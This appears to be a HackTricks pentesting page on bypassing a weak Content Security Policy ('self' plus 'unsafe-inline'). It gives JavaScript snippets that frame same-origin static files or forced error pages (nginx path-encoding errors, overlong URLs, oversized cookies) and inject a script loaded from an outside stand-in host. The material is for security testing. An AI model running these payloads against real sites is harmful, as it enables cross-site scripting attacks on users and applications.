// HackTricks · Web Pentesting

CSP Bypass via 'self', 'unsafe-inline', and Iframes

CSP Bypass via 'self', 'unsafe-inline', and Iframes

Consider this policy:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Because script-src is absent, default-src is its fallback. The policy allows same-origin scripts and inline scripts, but it does not allow string-to-code APIs such as eval() or string arguments to setTimeout() and setInterval() because 'unsafe-eval' is absent. It also uses default-src as the fallback for several other resource types.[1]

This is already a weak CSP: 'unsafe-inline' permits inline JavaScript. The iframe technique below matters when an attacker can execute inline code in the protected parent but needs a less restricted same-origin child document to load another script.[1][2]

Via Text & Images

Some browser and server combinations render a same-origin text or image response placed in an iframe as a document. Common candidates include robots.txt, favicon.ico, stylesheets, and other static resources. If that response has no CSP of its own and remains same-origin, script in the parent may be able to access the child DOM and append a script element. This behavior is content-type-, header-, and browser-dependent; verify it on the exact target rather than treating it as universal.[2]

frame = document.createElement("iframe")
frame.onload = () => {
  script = document.createElement("script")
  script.src = "//example.com/csp.js"
  frame.contentDocument.head.appendChild(script)
}
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)

Via Errors

An application or reverse proxy may also return same-origin error documents without the normal CSP. If such a response can be framed and accessed by the parent, it can provide the same less-restricted child context.[2]

// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
  document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Remove the test cookies after execution.
for (var i = 0; i < 5; i++) {
  document.cookie = i + "=; Max-Age=0; path=/"
}

When using one of the error responses, attach the handler before navigating the frame so that the child document is fully loaded before it is modified:

frame.onload = () => {
  script = document.createElement("script")
  script.src = "//example.com/csp.js"
  frame.contentDocument.head.appendChild(script)
}

References